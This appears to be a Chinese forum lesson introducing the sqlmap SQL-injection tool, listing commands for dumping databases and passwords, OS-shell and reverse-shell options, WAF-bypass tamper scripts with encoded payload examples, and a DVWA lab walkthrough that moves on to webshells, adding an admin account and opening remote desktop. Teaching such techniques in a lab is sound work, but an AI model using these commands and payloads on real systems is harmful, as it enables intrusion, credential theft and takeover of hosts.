首页
社区
课程
招聘
[原创]赛客网络安全小课堂~第四章Sqlmap软件介绍
发表于: 2018-6-27 10:32 1589

[原创]赛客网络安全小课堂~第四章Sqlmap软件介绍

2018-6-27 10:32
1589

第四章Sqlmap软件介绍

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

3.2 Sqlmap软件介绍

SQLmap安装需要python环境

SQLmap参数命令

•sqlmap-u "http://url/news?id=1" --current-user#获取当前用户名称

•sqlmap-u “http://url/news?id=1”--current-db#获取当前数据库名称

•sqlmap-u “http://url/news?id=1”–dbs#列数据库

SQLmap基本命令

•--passwords #数据库用户密码

•--is-dba -v 1#是否是数据库管理员

SQLmap支持的数据库:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

SQLmap执行步骤

•基于布尔的盲注:即可以根据返回页面判断条件真假的注入。

•基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

•根据用户选择,读取哪些数据

•基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

•联合查询注入:可以使用union的情况下的注入。

•堆查询注入:可以同时执行多条语句的执行时的注入。

Sqlmap高级注入参数

sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie 注入

sqlmap -u "http://url/news?id=1" --data "id=3" #post 注入

sqlmap -u "http://url/news?id=1" --os-cmd=who am i #执行系统命令

sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell

sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell

sqlmap -u "http://url/news?id=1" --reg-read #读取win 系统注册表

sqlmap中有一个tamper目录,主要存放的是waf绕过脚本,比如:base64encode.py、between.py、greatest.py等。

Sqlmap插件的用法示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3



脚本名称

作用

apostrophemask.py

用utf8代替引号

equaltolike.py

like 代替等号

space2dash.py

绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py

绕过过滤’>’

space2hash.py

空格替换为#号 随机字符串以及换行符

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2mssqlblank.py

空格替换为其它空符号

base64encode.py

用base64编码替换

space2mssqlhash.py

替换空格

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

space2mysqlblank.py

空格替换其它空白符号(mysql)

between.py

用between替换大于号(>)

space2mysqldash.py

替换空格字符(”)(’ –‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+替换空格


脚本名称

作用

apostrophemask.py

用utf8代替引号

equaltolike.py

like 代替等号

space2dash.py

绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py

绕过过滤’>’

space2hash.py

空格替换为#号 随机字符串以及换行符

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2mssqlblank.py

空格替换为其它空符号

base64encode.py

用base64编码替换

space2mssqlhash.py

替换空格

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

space2mysqlblank.py

空格替换其它空白符号(mysql)

between.py

用between替换大于号(>)

space2mysqldash.py

替换空格字符(”)(’ –‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+替换空格

等号被过滤了----->[equaltolike.py]()------>like代替等号

    Example:

    * Input: SELECT * FROM users WHERE id=1

    * Output: SELECT * FROM users WHERE id LIKE 1

替换字符和单引号被过滤---[apostrophenullencode.py]()

Example:

    ("1 AND '1'='1")

    "1 AND %00%271%00%27=%00%271"

3.2 Sqlmap软件介绍

url编码转换------>[charencode.py]()

SELECT FIELD FROM%20TABLE

编后:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%

4f%4d%20%54%41%42%4c%45

(先把字符串转成ASCII编码,然后再转成十六进制)

比如“\”,它的ascii码是92,92的十六进制是5c,“\”的url编码就是%5c

字符串unicode 编码绕过--->[charunicodeencode.py]()

SELECT %20FIELD%20FROM TABLE

编码后:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%

u0046%u0049%u0045%u004c%u0044%u0020%u0046。。。。。。

Unicode编码的字符以%u为前缀,后面是这个字符的十六进制unicode的码点。

宽字符绕过---->[unmagicquotes.py]()

1′AND 1=1

编码后:

1%bf%27 AND 1=1–%20

演示:Sqlmap注入

SQLMap扫描数据库实例

任务:扫描扫描目标IP为192.168.1.3上的网站DVWA的数据库信息

第一步:查看Web应用在后台提交的数据

SQLMap扫描数据库实例


第二步:查看是否存在SQL注入漏洞


第三步:分析漏洞结果


第四步:探测数据库名称



第五步:查询数据库中存在的表名


第六步:查询用户表中的字段列表



第七步:查询字段的详细内容



第一步:利用上传的Webshell木马和获取的数据库信息连接数据库

第二步:查看能否执行SQL命令,数据库账号密码的远程利用攻击

第二步:查看是否存在SQL注入漏洞数据库账号密码的远程利用攻击

第三步:登陆MYSQL,执行操作

第四步:选定数据库名

第五步:在数据库“test”新建表a

第六步:表a中插入命令,在目标主机系统添加一个管理员权限的新账号

目标主机的文件添加位置


第七步:查看3389远程桌面端口是否开放

第一步:上传3389.vbs开端口文件

第二步:上传另外一个具备命令执行功能的Webshell

第三步:远程链接Webshell

第四步:利用网络文件服务器上传cmd.exe与pr.exe




后续我们会持续更新网络安全小课堂,有什么疑问,欢迎大家加入我们的赛客360网络安全夏令营一起来发表意见积极讨论呀~



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//